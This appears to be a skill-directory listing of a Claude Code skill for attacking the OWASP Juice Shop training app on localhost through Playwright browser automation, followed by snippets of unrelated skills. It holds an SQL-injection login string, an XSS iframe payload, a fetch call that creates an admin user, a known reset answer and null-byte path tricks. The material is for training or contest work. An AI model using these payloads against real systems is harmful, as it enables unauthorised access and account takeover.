contests/juice_shop/.claude/skills/playwright-attack/SKILL.md
# Playwright Attack Patterns Juice Shop を Playwright MCP で攻撃するパターン集。 ## SQLi ログイン ``` 1. browser_navigate → http://localhost:3000/#/login 2. browser_snapshot → ref確認 3. browser_type → email: "' OR 1=1--" 4. browser_type → password: "a" 5. browser_click → Loginボタン ``` ## XSS 攻撃 ``` browser_navigate → http://localhost:3000/#/search?q=<iframe src="javascript:alert('xss')"> ``` ## API 操作 (fetch) ```javascript browser_evaluate → function: () => fetch('/api/Users', { method: 'POST', headers
npx skillsauth add nwiizo/workspace_2026 contests/juice_shop/.claude/skills/playwright-attackInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Juice Shop を Playwright MCP で攻撃するパターン集。
1. browser_navigate → http://localhost:3000/#/login
2. browser_snapshot → ref確認
3. browser_type → email: "' OR 1=1--"
4. browser_type → password: "a"
5. browser_click → Loginボタン
browser_navigate → http://localhost:3000/#/search?q=<iframe src="javascript:alert('xss')">
browser_evaluate → function:
() => fetch('/api/Users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({email: '[email protected]', password: 'test', role: 'admin'})
}).then(r => r.json())
/#/score-board /#/administration
/#/web3-sandbox /#/tokensale-ico-ea
/ftp /metrics
/support/logs
1. browser_navigate → /#/forgot-password
2. browser_type → email: "[email protected]"
3. browser_type → answer: "Zaya"
4. browser_type → password: 新パスワード
5. browser_click → Reset
/ftp/package.json.bak%2500.md
/ftp/eastere.gg%2500.md
/ftp/coupons_2013.md.bak%2500.md
「既存のブラウザ セッションで開いています」:
rm -rf ~/Library/Caches/ms-playwright/mcp-chrome-*
tools
Use when the user provides an arbitrary line of text and you must echo it back verbatim, prefixed with "ECHO:".
development
Turn OWASP ZAP JSON reports into code-level remediation work for any authorized web application without launching unscoped scans.
tools
# OWASP Assessment — 詳細仕様 2つの OWASP 標準に基づく網羅的セキュリティ検査。 - **OWASP Top 10:2021** — Web アプリケーション向け(A01〜A10) - **OWASP API Security Top 10:2023** — API 向け(API1〜API10) 各カテゴリに対して: 検査項目、CWE マッピング、grep パターン、判定基準、Opus 4.6 による深掘りポイントを定義する。 --- # Part 1: OWASP Top 10:2021(Web アプリケーション) 公式: https://owasp.org/Top10/ ## A01:2021 — Broken Access Control **概要:** アクセス制御の不備。ユーザーが許可された範囲を超えて操作できる。2021年版で1位に上昇。テスト対象の94%で検出。 **主要 CWE:** - CWE-200: 機密情報の未認可アクターへの露出 - CWE-201: 送信データへの機密情報の挿入 - CWE-352: CSRF -
development
Refactors CLAUDE.md into minimal startup context by extracting path-specific rules, skills, commands, and agents. Use when CLAUDE.md exceeds 50 lines, startup feels slow, memory needs restructuring, or splitting monolithic project instructions.